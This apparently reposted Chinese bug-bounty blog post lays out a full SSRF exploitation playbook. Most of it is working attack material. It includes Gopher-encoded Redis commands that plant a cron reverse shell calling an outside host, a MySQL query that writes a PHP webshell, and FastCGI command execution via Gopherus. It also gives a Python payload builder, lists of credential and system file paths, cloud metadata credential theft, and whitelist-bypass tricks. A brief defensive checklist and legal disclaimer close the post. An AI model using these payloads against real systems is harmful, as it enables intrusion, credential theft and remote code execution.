那个被标记为‘中危’的漏洞,让我拿了18000元奖金

admin 2026-03-03 09:37:55 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 本文详解SSRF漏洞深度利用方法论,通过四层价值体系(探测、读取、测绘、攻击)系统阐述从漏洞发现到内网渗透的完整攻击链。涵盖JS挖掘入口、DICT/Gopher协议利用、云元数据窃取、Redis/MySQL攻击等技术,结合三个高额奖金实战案例展示绕过白名单、组合利用等高级技巧,并提供防御视角下的修复建议。 综合评分: 90 文章分类: 渗透测试,WEB安全,内网渗透,SRC活动,漏洞分析


cover_image

那个被标记为‘中危’的漏洞,让我拿了18000元奖金

原创

逍遥 逍遥

逍遥子讲安全

2026年2月15日 01:13 广东

别人眼中的“中危”,我靠它拿下了整个内网——SSRF不是入口,是通往核心资产的“任意门”。

去年,一个看似普通的SSRF漏洞,让我在3小时内穿透了某金融公司的内网,从云元数据到Redis服务器,最终获取了包含百万级用户数据的数据库备份。奖金:18,000元,外加厂商年度致谢。

这不是运气,是方法论。SSRF的价值远不止于“能打内网”——它是攻击者手中的瑞士军刀,可以探测、读取、攻击、甚至控制内网服务。本文将首次完整公开我的SSRF深度狩猎体系:从漏洞发现、内网测绘、信息窃取到协议攻击的全链路实战手册。

第一章 重新认知SSRF:为什么它是SRC的“隐藏BOSS”

1.1 SSRF的四个价值层级

| 层级 | 利用深度 | 典型操作 | 奖金区间 | | — | — | — | — | | L1:基础探测 | 证明漏洞存在 | 访问Burp Collaborator、DNS外带 | 200-800元 | | L2:信息读取 | 获取敏感数据 | 读取本地文件、云元数据 | 800-3000元 | | L3:内网测绘 | 扫描内网资产 | 端口扫描、服务识别、指纹探测 | 2000-5000元 | | L4:协议攻击 | 控制内网服务 | Redis写Shell、MySQL查询、FastCGI执行 | 5000-20000元+ |

核心认知:SSRF不是“一个漏洞”,而是一个攻击通道。你的奖金取决于你通过这个通道走了多远。

1.2 SSRF的典型入口点

  • 功能入口:图片下载、URL预览、Webhook配置、PDF生成器
  • 参数位置url=path=dest=out=view=dir=show=file=
  • 协议支持http://https://file://dict://gopher://ftp://

第二章 情报先行:SSRF漏洞的精准发现术

2.1 从JS文件中挖掘隐藏的SSRF入口

某次测试中,主站无任何明显入口。但在/static/js/app.8f3d2a.js中发现:

javascript// 内部预览功能,仅限内网调用function previewImage(url) {    fetch('/api/internal/preview?image=' + encodeURIComponent(url))    .then(response => response.blob())    .then(showImage);}

直接构造/api/internal/preview?image=http://your-server.com,成功触发SSRF。

自动化提取脚本思路

pythonimport redef find_ssrf_patterns(js_content):    patterns = [        r'fetch\([\'"]([^\'"]*url[^\'"]*)[\'"]',        r'url:[\'"]([^\'"]*)[\'"]',        r'encodeURIComponent\(([^)]+)\)',        r'(preview|proxy|fetch|download|image|avatar).*?=.*?http'    ]    findings = []    for pattern in patterns:        matches = re.findall(pattern, js_content, re.IGNORECASE)        findings.extend(matches)    return findings

2.2 历史快照中的“时光漏洞”

某SRC目标当前无SSRF,但通过Wayback Machine发现2023年的快照中存在/proxy?url=接口。虽然现已下线,但通过分析JS文件,发现该接口的后端代码仍存在——只是前端入口被隐藏。直接访问接口,漏洞复现

实战命令

bashwaybackurls target.com | grep -E "(url=|path=|dest=|preview|proxy|fetch)" | tee ssrf_candidates.txt

2.3 参数模糊测试的“黄金字典”

我维护的SSRF参数字典(节选,完整版200+条):

texturl=, uri=, path=, dest=, dst=, out=, view=, dir=, show=, file=, document=page=, folder=, root=, data=, location=, src=, source=, referer=preview=, dispatch=, include=, require=, load=, read=, download=image=, img=, avatar=, picture=, photo=, logo=webhook=, callback=, return=, redirect=, forward=api=, endpoint=, service=, host=, server=, target=

第三章 内网测绘:绘制“隐形帝国”的地图

3.1 基础信息收集:从本地文件开始

一旦发现SSRF,第一件事不是打内网,而是读本地文件

Linux必读文件

textfile:///etc/passwd                    # 用户列表file:///etc/hosts                      # 主机名解析file:///etc/network/interfaces         # 网络配置file:///proc/self/environ               # 环境变量(可能含密钥)file:///proc/net/arp                    # ARP缓存(发现内网其他机器)file:///proc/net/tcp                    # 当前TCP连接file:///proc/net/fib_trie                # 路由表file:///root/.bash_history               # 历史命令file:///var/www/html/config.php          # Web配置文件

Windows必读文件

textfile:///c:/windows/win.inifile:///c:/windows/system32/drivers/etc/hostsfile:///c:/windows/debug/NetSetup.logfile:///c:/inetpub/wwwroot/web.config

实战案例:某目标通过file:///proc/net/fib_trie发现内网网段为172.18.0.0/16,为后续扫描提供精确范围。

3.2 端口扫描:用DICT协议探测内网服务

当HTTP协议被限制时,DICT协议是最佳选择。它基于TCP,且大多数服务都有回显。

Burp爆破配置

  • 攻击类型:Cluster bomb
  • Payload位置1:IP地址C段(1-255)
  • Payload位置2:端口列表
httpPOST /ssrf-endpoint HTTP/1.1Host: target.comContent-Type: application/x-www-form-urlencodedurl=dict://172.18.0.§1§:§port§/

端口响应特征判断

  • 返回包含”ERROR”、”CLIENT”等信息 → 端口开放且有回显
  • 返回空白或无响应 → 端口关闭或过滤

实战成果:在某金融系统扫描到172.18.0.15:6379返回Redis指纹,172.18.0.22:3306返回MySQL Banner。

3.3 服务指纹识别:确认攻击目标

对于开放端口,进一步识别服务版本:

http# Redis指纹url=dict://172.18.0.15:6379/INFO# MySQL指纹url=dict://172.18.0.22:3306/# FTP指纹url=dict://172.18.0.30:21/# Memcached指纹url=dict://172.18.0.40:11211/stats

第四章 信息窃取:内网敏感数据的“精准收割”

4.1 云元数据服务:云环境的第一桶金

云厂商的元数据服务是SSRF的“黄金靶子”。

AWS元数据

texthttp://169.254.169.254/latest/meta-data/http://169.254.169.254/latest/meta-data/iam/security-credentials/http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name

阿里云元数据

texthttp://100.100.100.200/latest/meta-data/http://100.100.100.200/latest/meta-data/ram/security-credentials/

实战案例:某电商系统SSRF成功访问AWS元数据,获取到AccessKeyIdSecretAccessKey,直接接管S3存储桶,奖金:8,000元

4.2 内网Web服务的敏感端点

内网常见敏感路径

texthttp://内网IP:8080/actuator/env          # Spring Boot环境变量http://内网IP:8080/actuator/heapdump      # 内存转储(含密钥)http://内网IP:8080/swagger-ui.html        # API文档http://内网IP:9200/_cat/indices            # Elasticsearch索引http://内网IP:5601/                         # Kibana(可能无认证)http://内网IP:9090/                          # Prometheushttp://内网IP:3000/                          # Grafana(默认密码)http://内网IP:5000/                          # Docker Registry

4.3 请求头中的意外泄露:Caddy日志的启示

在一次SSRF测试中,传统Apache监听器未发现异常。但切换到Caddy后,日志中出现了Proxy-Authorization: REDACTED的标记。Caddy默认对敏感头进行脱敏,但正是这个REDACTED暴露了请求中携带了认证信息。

深入分析:启用Caddy的log_credentials选项后,获取到Base64编码的Proxy-Authorization头,解码后得到明文凭证。

json{  "headers": {    "Proxy-Authorization": ["Basic YWRtaW46UEBzc3cwcmQxMjM="]  }}

解码结果admin:P@ssw0rd123——直接登录后台管理系统。

关键教训:SSRF不仅是“向外打”,请求本身携带的信息也可能是金矿。

4.4 内网文件共享与备份

探测SMB共享

texturl=file://///192.168.1.100/share/config.iniurl=file://///192.168.1.100/share/backup.zip

探测NFS共享: 需要结合其他协议,或尝试读取/etc/exports

第五章 协议深度利用:从“读”到“写”的质变

5.1 Gopher协议:SSRF的“万能接口”

Gopher协议可以封装几乎所有TCP协议的请求,是SSRF从信息泄露升级为代码执行的关键。

Gopher请求格式

httpurl=dict://172.18.0.15:6379/INFO

返回Redis版本信息,确认存在。

利用Gopher写定时任务反弹Shell

首先构造Redis命令:

text*2\r\n$4\r\nAUTH\r\n$0\r\n\r\n                    # 空密码认证(未授权时不需要)*1\r\n$7\r\nFLUSHALL\r\n                          # 清空所有key*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$3\r\ndir\r\n$16\r\n/var/spool/cron/\r\n  # 设置目录*4\r\n$6\r\nCONFIG\r\n$3\r\nSET\r\n$10\r\ndbfilename\r\n$4\r\nroot\r\n        # 设置文件名*3\r\n$3\r\nSET\r\n$1\r\nx\r\n$58\r\n\n* * * * * /bin/bash -i >& /dev/tcp/your-server/2333 0>&1\n\r\n*1\r\n$4\r\nSAVE\r\n

将上述命令拼接后,进行两次URL编码,构造Gopher请求。

实战效果:成功反弹Shell至公网服务器,拿下内网主机。

5.3 MySQL查询:读取数据或写Webshell

场景:内网某主机开放3306,已知弱口令root:root或空密码。

MySQL查询数据包构造(需了解MySQL协议格式,可使用工具生成)。

简化方法:利用mysql --protocol=TCP抓包,或使用现成工具。

写入Webshell

sqlSELECT&nbsp;'<?php&nbsp;@eval($_POST[cmd]);?>'&nbsp;INTO OUTFILE&nbsp;'/var/www/html/shell.php';

通过Gopher封装发送。

5.4 FastCGI/RCE:PHP-FPM未授权执行

场景:内网某主机开放9000端口(PHP-FPM),可直接执行代码。

利用工具:Gopherus(专门生成Gopher payload的工具)。

bashgopherus&nbsp;--exploit&nbsp;fastcgi&nbsp;--host&nbsp;172.18.0.15&nbsp;--port&nbsp;9000&nbsp;--command&nbsp;"id"

生成的Gopher URL通过SSRF发送,即可执行系统命令。

5.5 Tomcat CVE-2017-12615:PUT方法上传Webshell

场景:内网某主机开放8080,Tomcat配置允许PUT。

利用步骤

  1. 准备JSP一句话木马
  2. 构造PUT请求数据包
  3. 两次URL编码后通过Gopher发送
  4. 访问上传的JSP文件执行命令

完整攻击链:SSRF → Gopher → Tomcat PUT → WebShell → 内网权限

第六章 高级绕过策略:当SSRF遇上防御

6.1 常见绕过技巧

IP地址混淆

  • 十进制:2130706433 = 127.0.0.1
  • 八进制:017700000001 = 127.0.0.1
  • 简写:127.1 = 127.0.0.1
  • IPv6:[::1][::ffff:7f00:1]

域名技巧

  • 注册域名指向内网IP:localhost.yourdomain.com → 127.0.0.1
  • 使用短域名:0.rs → 0.0.0.0
  • 利用DNS rebinding(高级技巧)

URL解析差异

  • http://expected-domain@attacker-domain(@分割)
  • http://attacker-domain#expected-domain(#锚点)
  • 大小写混淆、双重编码

6.2 白名单绕过:购买域名的“降维打击”

在一次长达数周的研究中,攻击者发现目标仅允许*.company.com域名的请求。他购买了neemacompany.com(包含company.com),并为子域名md.neemacompany.com设置DNS指向169.254.169.254——成功绕过白名单,访问AWS元数据

关键点:白名单解析逻辑是否存在子串匹配而非精确匹配?*company.com可能匹配任何以company.com结尾的域名。

6.3 302重定向绕过

某些应用会跟随重定向,但可能限制初始域名。通过设置302跳转,可以将请求从允许的域名转向内网地址。

攻击步骤

  1. 在可控服务器设置302重定向:http://your-server/redirect?to=http://169.254.169.254/latest/meta-data/
  2. SSRF请求http://your-server/redirect
  3. 服务器跟随重定向,访问内网元数据

6.4 协议解析器逻辑缺陷

某些URL解析器存在解析差异:http://127.0.0.1#.company.com,可能被误认为属于company.com

实战技巧:对常见URL解析库(如PHP的parse_url、Python的urlparse)进行fuzzing,寻找解析差异。

第七章 完整实战案例库

【案例1】从SSRF到Redis到Shell:一条完整的攻击链

目标:某互联网公司SRC 耗时:4小时 奖金:12,000元

攻击路径

  1. 入口发现:在/static/js/main.js中找到/api/preview?img=
  2. 基础探测/api/preview?img=http://your-server.com,收到请求,确认SSRF
  3. 本地文件读取file:///etc/passwd成功,确认Linux系统
  4. 内网测绘:通过/proc/net/fib_trie发现内网段10.10.0.0/16
  5. 端口扫描:用DICT协议爆破,发现10.10.15.22:6379开放
  6. 服务识别dict://10.10.15.22:6379/INFO返回Redis 4.0.9,无认证
  7. Gopher构造:生成写定时任务的Redis命令,两次URL编码
  8. 权限获取:反弹Shell至公网服务器
  9. 横向移动:从该主机获取运维脚本,内含多个数据库密码
  10. 报告提交:完整攻击链 + 修复建议,获高危评级

【案例2】Proxy-Authorization头的意外馈赠

目标:某SaaS平台 耗时:2小时 奖金:6,000元

攻击路径

  1. SSRF发现:用户头像URL支持自定义,/avatar?url=http://evil.com可访问
  2. 信息收集:设置Apache监听,仅收到标准HTTP头
  3. 换用Caddy:启用JSON日志格式,发现Proxy-Authorization: REDACTED
  4. 深入分析:启用log_credentials,获取Base64编码头
  5. 解码登录echo 'YWRtaW46UEBzc3cwcmQxMjM=' | base64 -d → admin:P@ssw0rd123
  6. 后台接管:登录管理后台,发现用户数据导出功能
  7. 报告提交:SSRF + 凭证泄露,组合漏洞评级高危

【案例3】域名白名单的降维打击

目标:某大型企业 耗时:1周(含研究时间) 奖金:15,000元

攻击路径

  1. SSRF发现:URL预览功能,但仅允许*.bigcorp.com
  2. 开放重定向搜索:在blog.bigcorp.com发现重定向参数,但被过滤
  3. 白名单分析:发现规则为*bigcorp.com(非*.bigcorp.com
  4. 域名购买:注册evilbigcorp.com(包含bigcorp.com)
  5. DNS设置metadata.evilbigcorp.com指向169.254.169.254
  6. 元数据访问/preview?url=http://metadata.evilbigcorp.com/latest/meta-data/iam/security-credentials/
  7. 凭证获取:拿到AWS临时凭证,访问生产环境S3
  8. 报告提交:厂商紧急修复,授予特别奖励

【案例4】PDF生成器的XSS到SSRF组合拳

目标:某文档平台 耗时:3小时 奖金:4,000元

攻击路径

  1. 功能点:HTML转PDF功能
  2. 测试Payload:在HTML中插入<iframe src="file:///etc/passwd">
  3. PDF输出:生成的PDF中包含/etc/passwd内容
  4. 深入利用<iframe src="http://169.254.169.254/latest/meta-data/">
  5. 信息获取:PDF中显示元数据内容
  6. 报告提交:SSRF + 信息泄露

第八章 防御视角:你的SSRF是如何被发现的

8.1 开发者最容易犯的5个错误

  1. 未限制URL协议:允许file://dict://gopher://
  2. 未过滤内网IP:允许访问127.0.0.110.0.0.0/8
  3. 白名单实现不当:子串匹配而非精确匹配
  4. 跟随重定向:未验证重定向后的目标
  5. 错误信息泄露:返回端口开放状态、服务指纹

8.2 企业自查清单

  • 所有外部URL请求是否只允许HTTP/HTTPS?
  • 是否禁用对私有IP段(127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)的访问?
  • 是否使用严格的白名单,而非黑名单?
  • 是否禁用30x重定向跟随?
  • 是否对错误响应进行统一处理,不暴露内部信息?

第九章 武器库:SSRF猎人的工具箱

9.1 自动化探测脚本

python# ssrf_fuzzer.pyimport&nbsp;requestsimport&nbsp;sysdef&nbsp;test_ssrf(url, param, payloads):&nbsp; &nbsp;&nbsp;for&nbsp;payload&nbsp;in&nbsp;payloads:&nbsp; &nbsp; &nbsp; &nbsp; target =&nbsp;f"{url}?{param}={payload}"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;try:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; r = requests.get(target, timeout=3)&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;if&nbsp;"root:"&nbsp;in&nbsp;r.text&nbsp;or&nbsp;"169.254"&nbsp;in&nbsp;r.text&nbsp;or&nbsp;"redis_version"&nbsp;in&nbsp;r.text:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f"[+] 可能存在的SSRF:&nbsp;{target}")&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;print(f" &nbsp; &nbsp;响应特征:&nbsp;{r.text[:100]}")&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;except:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;passif&nbsp;__name__ ==&nbsp;"__main__":&nbsp; &nbsp; url = sys.argv[1]&nbsp; &nbsp; param = sys.argv[2]&nbsp; &nbsp; payloads = [&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"file:///etc/passwd",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"http://169.254.169.254/latest/meta-data/",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"dict://127.0.0.1:6379/INFO",&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;"http://127.0.0.1:8080/actuator/env"&nbsp; &nbsp; ]&nbsp; &nbsp; test_ssrf(url, param, payloads)

9.2 Gopher Payload生成工具

Gopherus(推荐):https://github.com/tarunkant/Gopherus 支持生成MySQL、Redis、FastCGI、Memcached等多种协议Payload。

手动生成Python脚本

pythondef&nbsp;gopher_encode(data):&nbsp; &nbsp;&nbsp;return&nbsp;requests.utils.quote(data, safe='').replace('%',&nbsp;'%25')def&nbsp;build_redis_payload(commands):&nbsp; &nbsp; payload =&nbsp;""&nbsp; &nbsp;&nbsp;for&nbsp;cmd&nbsp;in&nbsp;commands:&nbsp; &nbsp; &nbsp; &nbsp; payload +=&nbsp;f"*{len(cmd)}\r\n"&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;for&nbsp;arg&nbsp;in&nbsp;cmd:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; payload +=&nbsp;f"${len(arg)}\r\n{arg}\r\n"&nbsp; &nbsp;&nbsp;return&nbsp;gopher_encode(payload)# 示例:写定时任务commands = [&nbsp; &nbsp; ["FLUSHALL"],&nbsp; &nbsp; ["CONFIG",&nbsp;"SET",&nbsp;"dir",&nbsp;"/var/spool/cron/"],&nbsp; &nbsp; ["CONFIG",&nbsp;"SET",&nbsp;"dbfilename",&nbsp;"root"],&nbsp; &nbsp; ["SET",&nbsp;"x",&nbsp;"\n* * * * * /bin/bash -i >& /dev/tcp/your-server/2333 0>&1\n"],&nbsp; &nbsp; ["SAVE"]]payload = build_redis_payload(commands)print(f"gopher://target:6379/_{payload}")

9.3 Nuclei模板库

yamlid: ssrf-generic-detectinfo:&nbsp; name: Generic SSRF Detection&nbsp; author: hunter&nbsp; severity: highrequests:&nbsp; -&nbsp;method:&nbsp;GET&nbsp; &nbsp;&nbsp;path:&nbsp; &nbsp; &nbsp; - "{{BaseURL}}/{{params}}?url=http://burpcollaborator.net"&nbsp; &nbsp; &nbsp; - "{{BaseURL}}/{{params}}?url=file:///etc/passwd"&nbsp; &nbsp; &nbsp; - "{{BaseURL}}/{{params}}?url=dict://127.0.0.1:6379/INFO"
&nbsp; &nbsp; matchers-condition: or&nbsp; &nbsp; matchers:&nbsp; &nbsp; &nbsp; - type: word&nbsp; &nbsp; &nbsp; &nbsp; words:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - "root:x:0:0"&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - "redis_version"&nbsp; &nbsp; &nbsp; &nbsp; part: body&nbsp; &nbsp; &nbsp; - type: word&nbsp; &nbsp; &nbsp; &nbsp; words:&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; - "burpcollaborator"&nbsp; &nbsp; &nbsp; &nbsp; part: header

第十章 结语:SSRF的价值在你手中

SSRF不是“中危漏洞”,它是你通往内网的任意门

我见过太多人发现SSRF后,只做http://169.254.169.254/测试,没回显就放弃。但他们不知道,真正的财富藏在:

  • dict://扫描出的Redis里
  • file://读取的配置文件里
  • gopher://写入的定时任务里
  • Caddy日志里那个被REDACTED的请求头里

下次你遇到SSRF,别急着提交。

先问自己三个问题:

  1. 这个服务器能读到什么本地文件?
  2. 这个内网里有什么服务在等我?
  3. 这些服务能被我变成Shell吗?

答案,往往比你想象的更精彩。

而你的奖金,也在这三个问题的延长线上。


(本文所有技术均在合法授权测试框架内讨论,所有案例均已脱敏处理。未经授权的SSRF测试和利用属于违法行为。)


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:逍遥子讲安全 逍遥 逍遥《那个被标记为‘中危’的漏洞,让我拿了18000元奖金》

评论:0   参与:  0